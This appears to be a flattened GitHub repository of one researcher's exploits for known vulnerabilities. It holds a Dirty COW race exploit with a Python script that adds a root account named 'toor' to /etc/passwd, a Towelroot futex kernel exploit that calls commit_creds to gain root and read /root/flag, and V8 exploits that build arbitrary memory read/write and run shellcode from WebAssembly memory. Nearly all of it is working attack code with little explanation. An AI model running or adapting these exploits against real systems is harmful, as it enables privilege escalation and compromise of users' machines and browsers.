├── cve-2017-5195 ├── exploit ├── get_root.py └── exploit.c ├── towelroot ├── Readme ├── trigger_syscall.c ├── futex.c ├── futex.h └── exploit.c ├── README.md ├── cve-2021-30632 └── poc.js ├── cve-2020-16040 └── exploit.js └── cve-2019-13768 └── poc.html /cve-2017-5195/exploit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yuvaly0/exploits/HEAD/cve-2017-5195/exploit -------------------------------------------------------------------------------- /towelroot/Readme: -------------------------------------------------------------------------------- 1 | 2 | # TowelRoot - CVE-2014-3153 3 | 4 | This is the exploit code that was written solely by me after researching and deep understanding of the futex sub-system. 5 | 6 | You can read more in the blog-post 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | some N-days I've decided to exploit 2 | 3 | * cve-2016-5195 (dirty cow) 4 | * cve-2019-13768 (chrome - mojo uaf) - currently only working poc 5 | * cve-2020-16040 (v8 - turbofan) 6 | * cve-2021-30632 (v8 - turbofan - GPA bug) -------------------------------------------------------------------------------- /towelroot/trigger_syscall.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define SYS_HELPER 223 5 | 6 | static int special_syscall(int n) 7 | { 8 | return syscall(SYS_HELPER, n); 9 | } 10 | 11 | int main() { 12 | int ret = special_syscall(0x10); 13 | printf("Got return value: %d", ret); 14 | 15 | return 0; 16 | } -------------------------------------------------------------------------------- /cve-2017-5195/get_root.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import subprocess 4 | import os 5 | 6 | user = 'toor' 7 | 8 | # https://unix.stackexchange.com/questions/81240/manually-generate-password-for-etc-shadow 9 | # perl -e 'print crypt("foo", "aa")' 10 | hashed_password = 'aaKNIEDOaueR6' 11 | 12 | subprocess.call(['./exploit', '/etc/passwd', '{0}:{1}:0:0:root:/root:/bin/bash\n'.format(user, hashed_password)]) 13 | 14 | # disable to make exploit stable 15 | os.system('su -l {} -c "echo 0 > /proc/sys/vm/dirty_writeback_centisecs"'.format(user)) -------------------------------------------------------------------------------- /cve-2021-30632/poc.js: -------------------------------------------------------------------------------- 1 | /* 2 | plan: 3 | 1. get store to optimize based on unstable map & ConstantType 4 | 2. get load to optimize by 'MapB' type 5 | 3. use optimized 'store' to implicit change 'x' map's 6 | 4. use optimized 'load' to get OOB read 7 | */ 8 | 9 | // primitive: able to change objects map without de-optimizing 10 | 11 | var x = {a: 1}; // MapA 12 | var x1 = {a: 2}; // MapA 13 | var x2 = {a: 3}; // MapA 14 | var x3 = {a: 4}; // MapA 15 | 16 | function store(y) { 17 | x = y; 18 | } 19 | 20 | function load() { 21 | return x.b; 22 | } 23 | 24 | 25 | // store(x1); 26 | %PrepareFunctionForOptimization(store); 27 | store(x2); // theres a difference between store(x2) -> works and store(x1) -> doesn't work 28 | 29 | %OptimizeFunctionOnNextCall(store); 30 | 31 | x1.b = 1; 32 | 33 | // store will optimized by 'x' having unstable map -> wont 'depend' on stability 34 | store(x2); 35 | 36 | // we won't de-opt 37 | x.b = 1; 38 | 39 | %PrepareFunctionForOptimization(load); 40 | load(x); 41 | 42 | %OptimizeFunctionOnNextCall(load); 43 | 44 | 45 | // load will be optimized by 'x' having MapB 46 | load(x); 47 | 48 | // change 'x' map 49 | store(x3); 50 | 51 | // read oob 52 | console.log(load()); 53 | -------------------------------------------------------------------------------- /towelroot/futex.c: -------------------------------------------------------------------------------- 1 | #include "futex.h" 2 | 3 | static int futex( 4 | uint32_t* uaddr, 5 | int futex_op, 6 | uint32_t val, 7 | uint32_t val2, /* or const struct timespec* timeout, */ 8 | uint32_t* uaddr2, 9 | uint32_t val3 10 | ) 11 | { 12 | return syscall(SYS_futex, uaddr, futex_op, val, val2, uaddr2, val3); 13 | } 14 | 15 | int special_syscall(int n) 16 | { 17 | return syscall(SYS_HELPER, n); 18 | } 19 | 20 | int futex_wait(futex_t *futexp, uint32_t expect_val) { 21 | return futex((uint32_t *)futexp, FUTEX_WAIT, expect_val, NULL, NULL, 0); 22 | } 23 | 24 | int futex_wake(futex_t *futexp, uint32_t num_waiters) { 25 | return futex((uint32_t *)futexp, FUTEX_WAKE, num_waiters, NULL, NULL, 0); 26 | } 27 | 28 | int futex_lock_pi(futex_t* futexp, uint32_t* timeout) 29 | { 30 | return futex((uint32_t*)futexp, FUTEX_LOCK_PI, NULL, (uint32_t)timeout, NULL, 0); 31 | } 32 | 33 | int futex_trylock_pi(futex_t* futexp) 34 | { 35 | return futex((uint32_t*)futexp, FUTEX_TRYLOCK_PI, NULL, NULL, NULL, 0); 36 | } 37 | 38 | int futex_unlock_pi(futex_t* futexp) 39 | { 40 | return futex((uint32_t*)futexp, FUTEX_UNLOCK_PI, NULL, NULL, NULL, 0); 41 | } 42 | 43 | int futex_cmp_requeue_pi(futex_t* source, futex_t* dest, uint32_t max_waiters_to_move, uint32_t verify_value) 44 | { 45 | const uint32_t num_waiters_to_wake = 1; 46 | return futex((uint32_t*)source, FUTEX_CMP_REQUEUE_PI, num_waiters_to_wake, max_waiters_to_move, (uint32_t*)dest, verify_value); 47 | } 48 | 49 | int futex_wait_requeue_pi(futex_t* source, futex_t* dest, uint32_t verify_value, uint32_t* timeout) 50 | { 51 | return futex((uint32_t*)source, FUTEX_WAIT_REQUEUE_PI, verify_value, (uint32_t)timeout, (uint32_t*)dest, 0); 52 | } 53 | 54 | int futex_requeue(futex_t* source, futex_t* dest, uint32_t waiters_to_wake, uint32_t max_waiters_to_move) 55 | { 56 | return futex((uint32_t*)source, FUTEX_REQUEUE, waiters_to_wake, max_waiters_to_move, (uint32_t*)dest, 0); 57 | } 58 | -------------------------------------------------------------------------------- /cve-2017-5195/exploit.c: -------------------------------------------------------------------------------- 1 | #include //mmap 2 | #include //exit 3 | #include //access 4 | #include //stat 5 | #include 6 | #include //printf 7 | #include //strlen 8 | #include 9 | #include // thread 10 | 11 | #define LOOP_TIMES 10000000 12 | 13 | void* madvise_thread(void* arg); 14 | void* write_to_file(void* str); 15 | 16 | void* map; 17 | 18 | int main(int argc, char** argv) 19 | { 20 | 21 | if (argc < 3) { 22 | printf("usage: ./exploit file_name what_to_write\n"); 23 | exit(0); 24 | } 25 | 26 | const char* file_name = argv[1]; 27 | const char* str_to_write = argv[2]; 28 | 29 | if (access(file_name, F_OK) == -1) { 30 | printf("%s: does not exist\n", file_name); 31 | exit(0); 32 | } 33 | 34 | const int file_fd = open(file_name, O_RDONLY); 35 | if (file_fd == -1) { 36 | printf("failed at opening the file\n"); 37 | exit(0); 38 | } 39 | 40 | struct stat file_info; 41 | if (stat(file_name, &file_info) == -1) { 42 | printf("could not get file info using stat\n"); 43 | exit(0); 44 | } 45 | 46 | // mmap the file to our memory so i can access it from /self/mem 47 | map = mmap( NULL, 48 | (size_t) file_info.st_size, 49 | PROT_READ, 50 | MAP_PRIVATE, 51 | file_fd, 52 | 0); 53 | 54 | if (map == MAP_FAILED) { 55 | printf("failed mmaping file to our process memory\n"); 56 | exit(0); 57 | } 58 | printf("[+] mapped file %p\n", map); 59 | 60 | 61 | pthread_t ptid; 62 | pthread_t ptid2; 63 | 64 | pthread_create(&ptid, NULL, &madvise_thread, NULL); 65 | pthread_create(&ptid2, NULL, &write_to_file, (void*)str_to_write); 66 | 67 | pthread_join(ptid2, NULL); 68 | 69 | return 0; 70 | } 71 | 72 | void* madvise_thread(void* arg) 73 | { 74 | printf("[+] started running madvise thread\n"); 75 | 76 | for (int i = 0; i < LOOP_TIMES; i++) { 77 | madvise(map, 100, MADV_DONTNEED); 78 | } 79 | 80 | printf("[+] finished running madvise thread\n"); 81 | } 82 | 83 | void* write_to_file(void* str) 84 | { 85 | printf("[+] started writing_to_file thread\n"); 86 | 87 | const unsigned int mem_fd = open("/proc/self/mem", O_RDWR); 88 | const unsigned int len = strlen((char*)str); 89 | 90 | for (int i = 0; i < LOOP_TIMES; i++) { 91 | lseek(mem_fd, (long int)map, SEEK_SET); 92 | write(mem_fd, (char*)str, len); 93 | } 94 | 95 | printf("[+] finished running write_to_file thread \n"); 96 | } 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /towelroot/futex.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef unsigned int uint32_t; 5 | typedef unsigned int futex_t; 6 | 7 | #define NULL 0 8 | 9 | #define FUTEX_WAIT 0 10 | #define FUTEX_WAKE 1 11 | #define FUTEX_FD 2 12 | #define FUTEX_REQUEUE 3 13 | #define FUTEX_CMP_REQUEUE 4 14 | #define FUTEX_WAKE_OP 5 15 | #define FUTEX_LOCK_PI 6 16 | #define FUTEX_UNLOCK_PI 7 17 | #define FUTEX_TRYLOCK_PI 8 18 | #define FUTEX_WAIT_BITSET 9 19 | #define FUTEX_WAKE_BITSET 10 20 | #define FUTEX_WAIT_REQUEUE_PI 11 21 | #define FUTEX_CMP_REQUEUE_PI 12 22 | 23 | #define FUTEX_WAITERS 0x80000000 24 | #define FUTEX_OWNER_DIED 0x40000000 25 | 26 | #define SYS_HELPER 223 27 | 28 | static int futex( 29 | uint32_t* uaddr, 30 | int futex_op, 31 | uint32_t val, 32 | uint32_t val2, /* or const struct timespec* timeout, */ 33 | uint32_t* uaddr2, 34 | uint32_t val3 35 | ); 36 | 37 | int futex_wait(futex_t *futexp, uint32_t expect_val); 38 | int futex_wake(futex_t *futexp, uint32_t num_waiters); 39 | int futex_lock_pi(futex_t* futexp, uint32_t* timeout); 40 | int futex_trylock_pi(futex_t* futexp); 41 | int futex_unlock_pi(futex_t* futexp); 42 | int futex_cmp_requeue_pi(futex_t* source, futex_t* dest, uint32_t max_waiters_to_move, uint32_t verify_value); 43 | int futex_wait_requeue_pi(futex_t* source, futex_t* dest, uint32_t verify_value, uint32_t* timeout); 44 | int futex_requeue(futex_t* source, futex_t* dest, uint32_t waiters_to_wake, uint32_t max_waiters_to_move); 45 | 46 | struct llist_node { 47 | struct llist_node *next; 48 | }; 49 | 50 | struct list_head { 51 | struct list_head *next, *prev; 52 | }; 53 | 54 | struct plist_head { 55 | struct list_head node_list; 56 | }; 57 | 58 | struct plist_node { 59 | int prio; 60 | struct list_head prio_list; 61 | struct list_head node_list; 62 | }; 63 | 64 | typedef struct { 65 | int counter; 66 | } atomic_t; 67 | 68 | typedef struct { 69 | union { 70 | uint32_t slock; 71 | struct __raw_tickets { 72 | uint16_t owner; 73 | uint16_t next; 74 | } tickets; 75 | }; 76 | } arch_spinlock_t; 77 | 78 | typedef struct raw_spinlock { 79 | arch_spinlock_t raw_lock; 80 | } raw_spinlock_t; 81 | 82 | struct sched_class { 83 | int* next; 84 | void (*enqueue_task) (int *rq, int *p, int flags); 85 | void (*dequeue_task) (int *rq, struct task_struct *p, int flags); 86 | void (*yield_task) (int *rq); 87 | int (*yield_to_task) (int *rq, struct task_struct *p, int preempt); 88 | void (*check_preempt_curr) (int *rq, struct task_struct *p, int flags); 89 | struct task_struct* (*pick_next_task) (int *rq); 90 | void (*put_prev_task) (int *rq, struct task_struct *p); 91 | int (*select_task_rq)(struct task_struct *p, int sd_flag, int flags); 92 | int* buffer[15]; 93 | }; 94 | 95 | typedef struct cpumask { 96 | unsigned long bits[1]; 97 | } cpumask_t; 98 | 99 | typedef unsigned long mm_segment_t; 100 | 101 | struct thread_info { 102 | unsigned long flags; /* low level flags */ 103 | int preempt_count; /* 0 => preemptable, <0 => bug */ 104 | mm_segment_t addr_limit; /* address limit */ 105 | int *task; /* main task structure */ 106 | int *exec_domain; /* execution domain */ 107 | int cpu; /* cpu */ 108 | }; 109 | 110 | struct task_struct { 111 | long state; 112 | void* stack; 113 | atomic_t usage; 114 | unsigned int flags; /* per process flags, defined below */ 115 | unsigned int ptrace; 116 | struct llist_node wake_entry; // # CONFIG_SMP 117 | int on_cpu; // # CONFIG_SMP 118 | int on_rq; 119 | int prio, static_prio, normal_prio; 120 | int rt_priority; 121 | struct sched_class* sched_class; 122 | char buffer[144];// offset 56 123 | cpumask_t cpus_allowed; // bitmask 124 | char buffer2[576]; 125 | raw_spinlock_t pi_lock; // pi_lock should be offset 776 126 | struct plist_head pi_waiters; 127 | struct rt_mutex_waiter* pi_blocked_on; 128 | 129 | }; 130 | 131 | struct rt_mutex { 132 | raw_spinlock_t wait_lock; 133 | struct plist_head wait_list; 134 | struct task_struct *owner; 135 | } rt_mutex; 136 | 137 | struct rt_mutex_waiter { 138 | struct plist_node list_entry; 139 | struct plist_node pi_list_entry; 140 | struct task_struct *task; 141 | struct rt_mutex *lock; 142 | } rt_mutex_waiter; 143 | -------------------------------------------------------------------------------- /cve-2020-16040/exploit.js: -------------------------------------------------------------------------------- 1 | /* references: 2 | https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/ [1] 3 | https://faraz.faith/2021-01-07-cve-2020-16040-analysis/ [2] 4 | https://github.com/singularseclab/Slides/blob/main/2021/chrome_exploitation-zer0con2021.pdf [3] 5 | */ 6 | 7 | const buf = new ArrayBuffer(8); 8 | const f64_buf = new Float64Array(buf); 9 | const u64_buf = new Uint32Array(buf); 10 | 11 | function exit(msg) { 12 | throw new Error(msg); 13 | } 14 | 15 | function ftoi(val) { 16 | f64_buf[0] = Number(val); 17 | return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); 18 | } 19 | 20 | function itof(val) { 21 | u64_buf[0] = Number(BigInt(val) & 0xffffffffn); 22 | u64_buf[1] = Number(BigInt(val) >> 32n); 23 | return f64_buf[0]; 24 | } 25 | 26 | function addrof(obj) { 27 | arr[9] = obj; 28 | const addr = ftoi(second[1]); 29 | second[1] = 1.1; 30 | 31 | return addr & 0xffffffffn; 32 | } 33 | 34 | function fakeobj(addr) { 35 | second[1] = itof(addr); 36 | const obj = arr[9]; 37 | second[1] = 1.1; 38 | 39 | return obj; 40 | } 41 | 42 | function foo(a) { 43 | let y = 0x7fffffff; 44 | 45 | /* 46 | Make sure we fail the first 'if' statement inside 47 | 'VisitSpeculativeIntegerAdditiveOp' 48 | */ 49 | if (a == NaN) y = NaN; 50 | 51 | // Gather type feedback 52 | if (a) y = -1; 53 | 54 | let z = (y + 1) | 0; 55 | 56 | z = (z == 0x80000000) | 0; 57 | if (a == 'wellooo') z = -1; 58 | 59 | // [3] 60 | let arr = new Array(z); 61 | arr.shift(); 62 | let second = [1.1, 1.1, 1.1]; 63 | 64 | return [arr, second]; 65 | } 66 | 67 | for (let i = 0; i < 20000; i++) { 68 | foo(true); 69 | } 70 | 71 | const ret_value = foo(false); 72 | var arr = ret_value[0]; 73 | var second = ret_value[1]; 74 | 75 | if (arr.length != -1) { 76 | exit('bad array length'); 77 | } 78 | console.log('[+] got negative array length'); 79 | 80 | // because we have linear read/write beyond arr 81 | // we can overwrite 'second' length and obtain the map 82 | 83 | // overwrite 'length' of 'second' 84 | arr[16] = 0x4141; 85 | if (second.length < 1000) { 86 | exit('bad second array length'); 87 | } 88 | console.log('[+] got bigger second array length'); 89 | 90 | let float_map = ftoi(second[3]) & 0xffffffffn; 91 | console.log(`[+] leaked float map: 0x${float_map.toString(16)}`); 92 | 93 | 94 | arb_rw_arr = [itof((float_map << 32n) + float_map), 1.1]; 95 | 96 | function arb_read(addr) { 97 | if (BigInt(addr) % 2n == 0n) { 98 | addr = BigInt(addr) + 1n; 99 | } 100 | 101 | fake = fakeobj(addrof(arb_rw_arr) + 0x20n); 102 | arb_rw_arr[1] = itof((0x10n << 32n) + addr - 0x8n); 103 | return ftoi(fake[0]); 104 | } 105 | 106 | function arb_write(addr, value) { 107 | if (BigInt(addr) % 2n == 0n) { 108 | addr = BigInt(addr) + 1n; 109 | } 110 | 111 | fake = fakeobj(addrof(arb_rw_arr) + 0x20n); 112 | arb_rw_arr[1] = itof((0x10n << 32n) + addr - 0x8n); 113 | fake[0] = itof(value); 114 | } 115 | 116 | function copy_shellcode(shellcode) { 117 | let temp_buf = new ArrayBuffer(0x100); 118 | let view = new DataView(temp_buf); 119 | let backing_store_addr = addrof(temp_buf) + 0x14n - 0x1n; 120 | 121 | arb_write(backing_store_addr, rwx_addr); 122 | 123 | for (let i = 0; i < shellcode.length; i++) { 124 | view.setUint8(i, shellcode[i]); 125 | } 126 | } 127 | 128 | // https://wasdk.github.io/WasmFiddle/ 129 | var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); 130 | var wasm_mod = new WebAssembly.Module(wasm_code); 131 | var wasm_instance = new WebAssembly.Instance(wasm_mod); 132 | var f = wasm_instance.exports.main; 133 | 134 | let rwx_addr = arb_read(addrof(wasm_instance) + 0x67n); 135 | console.log(`[+] rwx addr at - 0x${rwx_addr}`); 136 | 137 | // https://github.com/r4j0x00/exploits/blob/master/chrome-exploit/exploit.js 138 | var shellcode = new Uint8Array([72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90, 72, 1, 226, 82, 72, 137, 226, 106, 99, 72, 184, 98, 105, 110, 47, 120, 99, 97, 108, 80, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 44, 98, 1, 46, 116, 114, 115, 46, 72, 49, 4, 36, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 49, 246, 86, 106, 19, 94, 72, 1, 230, 86, 106, 24, 94, 72, 1, 230, 86, 106, 24, 94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5, 0]); 139 | 140 | copy_shellcode(shellcode); 141 | 142 | f(); -------------------------------------------------------------------------------- /cve-2019-13768/poc.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 150 | 151 | -------------------------------------------------------------------------------- /towelroot/exploit.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "futex.h" 15 | #include 16 | #include 17 | 18 | 19 | uint32_t* futex_A = 0; 20 | uint32_t* futex_B = 0; 21 | uint32_t* futex_B2 = 0; 22 | 23 | const uint32_t INIT_PID = 1; 24 | #define SYS_HELPER 223 25 | 26 | static int special_syscall(int n) 27 | { 28 | return syscall(SYS_HELPER, n); 29 | } 30 | 31 | void* thread_1_wait_A_B(void* id) { 32 | int current_id = *(int*)id; 33 | 34 | printf("[%d] waiting from A to B\n", current_id); 35 | futex_wait_requeue_pi(futex_A, futex_B, INIT_PID, NULL); 36 | 37 | printf("[%d] Woken up from unlock (i hope), I should be the owner of the rt_mutex & pi_state, calling requeue to wake the second thread and trigger the bug\n", current_id); 38 | 39 | *futex_B = NULL; 40 | 41 | int waiters_to_move = 0; 42 | int ret = futex_cmp_requeue_pi(futex_B, futex_B2, waiters_to_move, NULL); // 1 up, 1 wait on B, trigger the bug 43 | printf("[%d] Got %d\n", current_id, ret); 44 | if (ret != 1) 45 | { 46 | printf("[%d] Bad return value - %d\n", current_id, ret); 47 | exit(0); 48 | } 49 | 50 | printf("[%d] Going to sleep so I won't interfer\n", current_id); 51 | sleep(1000); 52 | } 53 | 54 | void* thread_2_wait_A_B(void* id) { 55 | int current_id = *(int*)id; 56 | 57 | printf("[%d] waiting from A to B\n", current_id); 58 | futex_wait_requeue_pi(futex_A, futex_B, INIT_PID, NULL); 59 | 60 | printf("[%d] Gonna call special syscall\n", current_id); 61 | special_syscall(0x10); // should block and never return 62 | 63 | printf("[%d] ERRORRRRRRRRRRR --------------- is going to die :(\n", current_id); 64 | } 65 | 66 | struct cred *(*prepare_kernel_cred)(struct task_struct *) = 0x8003f9bc; 67 | int (*commit_creds)(struct cred *) = 0x8003f604; 68 | 69 | const int FAKE_CPU_RETURN = 0; 70 | 71 | int fake_select_task_rq(struct task_struct *p, int sd_flag, int flags) { 72 | commit_creds(prepare_kernel_cred(NULL)); 73 | printf("[KERNEL] Ive ran commit_creds :)\n"); 74 | printf("[KERNEL] HEREERER\n"); 75 | 76 | return FAKE_CPU_RETURN; // fake cpu 77 | } 78 | 79 | void empty() { 80 | } 81 | 82 | void initialize_low_address() 83 | { 84 | // data will be at 0x10101010 - we must mmap page alligned address 85 | int* p = mmap((int*)0x10101000, 0x3000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_SHARED, -1, 0); 86 | // rt_mutex_waiter will be at 0x10101004 87 | 88 | if(p == (int*)-1) 89 | { 90 | printf("[D] Mapping of low address failed :( exiting\n"); 91 | exit(0); 92 | } 93 | 94 | printf("[D] Mapped low address at %p\n", p); 95 | 96 | int i = 0; 97 | for(i = 0; i < 0x1000 / sizeof(int); i++) 98 | { 99 | *(p + i) = 0x0 + i; 100 | } 101 | 102 | // all of the fields inside the rt_mutex_waiter are initialized with the sequance of 0x10101010 103 | // handle line 240 104 | struct rt_mutex* lock_ptr = (struct rt_mutex*)0x10101010; 105 | lock_ptr->wait_lock.raw_lock.slock = 0; 106 | 107 | // 1 - handle line 254 108 | struct rt_mutex_waiter* top_waiter = (struct rt_mutex_waiter*)0x10101110; 109 | top_waiter->lock = lock_ptr; 110 | lock_ptr->wait_list.node_list.next = &top_waiter->list_entry.node_list; 111 | 112 | // 2 - handle line 259 113 | struct rt_mutex_waiter* first_waiter = (struct rt_mutex_waiter*)0x10101004; 114 | first_waiter->list_entry.prio = 121; 115 | first_waiter->list_entry.prio_list.prev = (struct list_head*)0x10102000; 116 | 117 | // 2 - handle line 263 118 | struct task_struct* lock_owner = (struct task_struct*)0x10101210; // this is a big struct, take like 0x400 buffer of space 119 | lock_ptr->owner = lock_owner; 120 | 121 | // 3 - handle line 278 122 | lock_owner->usage.counter = 5; 123 | 124 | // handle line 279 125 | lock_owner->pi_lock.raw_lock.slock = 0; 126 | 127 | // 4 - handle line 283 128 | top_waiter->pi_list_entry.prio_list.next = &top_waiter->pi_list_entry.prio_list; 129 | top_waiter->pi_list_entry.node_list.next = (struct list_head*)0x10101710; // random ptr to pass the next->prev and prev->next 130 | top_waiter->pi_list_entry.node_list.prev = (struct list_head*)0x10101810; 131 | 132 | // 5 - handle line 285 & line 228 in second iteration 133 | struct rt_mutex_waiter* waiter_1 = (struct rt_mutex_waiter*)0x10101910; 134 | struct rt_mutex_waiter* waiter_2 = (struct rt_mutex_waiter*)0x10101A10; 135 | struct rt_mutex_waiter* prev_waiter_1 = (struct rt_mutex_waiter*)0x10101B10; 136 | 137 | waiter_2->list_entry.node_list.next = &waiter_2->list_entry.node_list; 138 | waiter_2->list_entry.node_list.prev = &waiter_1->list_entry.node_list; 139 | waiter_2->list_entry.prio_list.next = &waiter_2->list_entry.node_list; 140 | waiter_2->list_entry.prio_list.prev = &waiter_1->list_entry.prio_list; 141 | 142 | waiter_1->list_entry.node_list.next = &waiter_2->list_entry.node_list; 143 | waiter_1->list_entry.node_list.prev = &lock_owner->pi_waiters.node_list; 144 | waiter_1->list_entry.prio_list.next = &waiter_2->list_entry.prio_list; 145 | waiter_1->list_entry.prio_list.prev = (struct list_head*)0x10101C10; 146 | 147 | lock_owner->pi_waiters.node_list.next = &waiter_1->list_entry.node_list; 148 | lock_owner->pi_waiters.node_list.prev = &prev_waiter_1->list_entry.node_list; 149 | 150 | // 6 - handle line 286 151 | lock_owner->prio = 20; 152 | lock_owner->normal_prio = 20; 153 | 154 | // 7 - Second iteration, handle line 213 155 | struct rt_mutex_waiter* second_iteration_waiter = (struct rt_mutex_waiter*)0x10102000; 156 | lock_owner->pi_blocked_on = second_iteration_waiter; 157 | 158 | // 8 - Second iteration, handle line 239 159 | struct rt_mutex* second_iteration_lock = (struct rt_mutex*)0x10102200; 160 | second_iteration_waiter->lock = second_iteration_lock; 161 | 162 | // 9 - Second iteration, handle line 254 163 | struct rt_mutex_waiter* bla_waiter_1 = (struct rt_mutex_waiter*)0x10102400; 164 | struct rt_mutex_waiter* bla_waiter_2 = (struct rt_mutex_waiter*)0x10102450; 165 | 166 | second_iteration_lock->wait_list.node_list.next = &bla_waiter_1->list_entry.node_list; 167 | 168 | second_iteration_waiter->list_entry.prio_list.next = 0x10102050; 169 | second_iteration_waiter->list_entry.prio_list.prev = 0x101020A0; 170 | second_iteration_waiter->list_entry.node_list.next = 0x101020D0; 171 | second_iteration_waiter->list_entry.node_list.prev = 0x10102100; 172 | 173 | bla_waiter_1->list_entry.prio_list.next = 0x10102300; 174 | bla_waiter_1->list_entry.prio_list.prev = (char*)second_iteration_lock + 4; // overwrite 175 | bla_waiter_1->list_entry.node_list.next = &bla_waiter_2->list_entry.node_list; 176 | bla_waiter_1->list_entry.node_list.prev = 0x101023A0; 177 | bla_waiter_1->list_entry.prio = 50; 178 | bla_waiter_1->lock = second_iteration_lock; 179 | 180 | struct rt_mutex_waiter* temp = (struct rt_mutex_waiter*)0x10101ff8; 181 | temp->lock = second_iteration_lock; 182 | 183 | struct task_struct* to_wake = (struct task_struct*)0x10102500; 184 | temp->task = to_wake; 185 | 186 | struct sched_class* fake_sched_class = calloc(sizeof(char), sizeof(struct sched_class)); 187 | fake_sched_class->select_task_rq = fake_select_task_rq; 188 | fake_sched_class->enqueue_task = empty; 189 | 190 | printf("[D] Fake sched func is at: %p\n", &fake_select_task_rq); 191 | 192 | to_wake->state = 3; 193 | to_wake->sched_class = fake_sched_class; 194 | to_wake->cpus_allowed.bits[0] = 1; 195 | 196 | struct thread_info* fake_thread_info = calloc(sizeof(char), sizeof(struct thread_info)); 197 | fake_thread_info->cpu = FAKE_CPU_RETURN; 198 | to_wake->stack = fake_thread_info; 199 | } 200 | 201 | int main() { 202 | int pid = getpid(); 203 | char* temp_file = "yuvaly0"; 204 | 205 | printf("[D], Current process pid: %d\n", pid); 206 | 207 | int fd = open(temp_file, O_RDWR); 208 | 209 | if(fd == -1) 210 | { 211 | puts("[D], Could not find temp file, creating it"); 212 | 213 | FILE* fp = fopen(temp_file, "w"); 214 | if (!fp) { 215 | puts("[D], Error, could not open or create file"); 216 | return 1; 217 | } 218 | 219 | if (fwrite("AAAA", 1, 4, fp) != 4) { 220 | puts("[D], Error, was not able to write 4 bytes to yuvaly0 file"); 221 | fclose(fp); 222 | return 1; 223 | } 224 | 225 | fclose(fp); 226 | 227 | fd = open(temp_file, O_RDWR); 228 | } 229 | 230 | initialize_low_address(); 231 | 232 | futex_B = mmap(NULL, sizeof(uint32_t), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); 233 | futex_B2 = mmap(NULL, sizeof(uint32_t), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); 234 | printf("[D], futex_B: %p\n", futex_B); 235 | printf("[D], futex_B2: %p\n", futex_B2); 236 | 237 | futex_A = mmap(NULL, sizeof(uint32_t), PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 238 | printf("[D], futex_A: %p\n", futex_A); 239 | 240 | printf("[D], initializing A with INIT pid\n"); 241 | *futex_A = INIT_PID; /* mimic lock behavior by init process, pid == 1*/ 242 | 243 | printf("[D], setting waiting state for 1 & 2\n"); 244 | pthread_t thread1; 245 | pthread_t thread2; 246 | pthread_t thread3; 247 | 248 | int first_id = 1; 249 | pthread_create(&thread1, NULL, thread_1_wait_A_B, &first_id); 250 | sleep(5); 251 | 252 | int second_id = 2; 253 | pthread_create(&thread2, NULL, thread_2_wait_A_B, &second_id); 254 | sleep(5); 255 | 256 | printf("[D] Sleep a bit so threads will wait\n"); 257 | 258 | printf("[D], Lock B\n"); 259 | *futex_B = pid; // main thread will be the owner of the PI when created 260 | 261 | printf("[D], requeue A to B, moving all to B\n"); 262 | uint32_t waiters_to_move = 1; 263 | // moving 1, 1 waiters to move + 1 planning on waking up but couldn't acquire 264 | int ret = futex_cmp_requeue_pi(futex_A, futex_B, waiters_to_move, INIT_PID); // both wait on B 265 | printf("[D] Got %d\n", ret); 266 | if (ret == -1) 267 | { 268 | printf("Bad return value - %d\n", ret); 269 | exit(0); 270 | } 271 | 272 | printf("[D] Setting B with FUTEX_OWNER_DIED\n"); 273 | *futex_B = *futex_B | FUTEX_OWNER_DIED; // don't try to cmpxchg inside the 'futex_unlock_pi' - line 2142 274 | 275 | printf("[D] calling unlock to wake the first futex that will update the value\n"); 276 | ret = futex_unlock_pi(futex_B); 277 | printf("[D] Got: %d\n", ret); 278 | 279 | printf("[D] Sleeping for 10 seconds and starting the third thread\n"); 280 | sleep(10); 281 | 282 | printf("[D] Gonna lock B\n"); 283 | 284 | printf("[D] BEFORE: %d\n", getuid()); 285 | struct timespec *ts = malloc(sizeof(struct timespec)); 286 | ts->tv_sec = 15; // 15 seconds 287 | ts->tv_nsec = 0; // 0 nanoseconds 288 | 289 | futex_lock_pi(futex_B, (uint32_t*)ts); 290 | 291 | printf("[D] After: %d\n", getuid()); 292 | 293 | 294 | FILE *file = fopen("/root/flag", "r"); // Open in binary mode 295 | if (!file) { 296 | perror("fopen"); 297 | return 1; 298 | } 299 | 300 | char buffer[1024]; 301 | size_t bytesRead; 302 | 303 | puts("READING THE FLAG #########"); 304 | 305 | while ((bytesRead = fread(buffer, 1, 1024, file)) > 0) { 306 | fwrite(buffer, 1, bytesRead, stdout); // dump to stdout 307 | } 308 | 309 | puts("########"); 310 | 311 | fclose(file); 312 | 